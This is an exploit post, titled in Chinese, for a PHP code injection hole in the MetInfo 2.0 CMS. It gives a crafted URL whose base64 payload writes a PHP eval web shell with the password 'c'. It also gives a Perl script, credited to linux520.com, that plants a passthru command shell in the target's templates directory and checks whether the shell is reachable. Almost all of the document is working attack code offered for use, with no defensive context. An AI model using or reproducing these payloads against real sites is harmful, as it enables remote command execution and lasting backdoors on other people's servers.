MetInfo 2.0 PHP代码注入漏洞

http://victim.com/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIGV2YWwoJF9QT1NUW2NdKTs/PicpOw== base64编码部分为：fputs(fopen('../templates/test.php','w+'),'<?php eval($_POST[c]);?>'); 一句话后门地址：http://victim.com/templates/test.php 密码 c ==== #!/usr/bin/env perl use LWP::UserAgent; print "################################################################\n"; print "# MetInfo 2.0 c0de inj3cti0n 3xplo!t #\n"; print "# by:linux520.com #\n"; print "################################################################\n"; die "Usage: $0 <target site> Ex:$0 victim.com\n" unless($ARGV[0]); my $victim = $ARGV[0]; $user_agent = new LWP::UserAgent; $vul_request = new HTTP::Request('GET',"http://$victim/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs="); # fputs(fopen('../templates/test.php','w+'),'<?php passthru($_GET[cmd]);?>'); $user_agent->request($vul_request); $response = $user_agent->request(new HTTP::Request('GET',"http://$victim/templates/test.php")); if($response->is_success) { print "code injection successful ! plz look at http://$victim/templates/test.php?cmd=id"; } else { print "could not connect to $victim"; } #####################################################################################################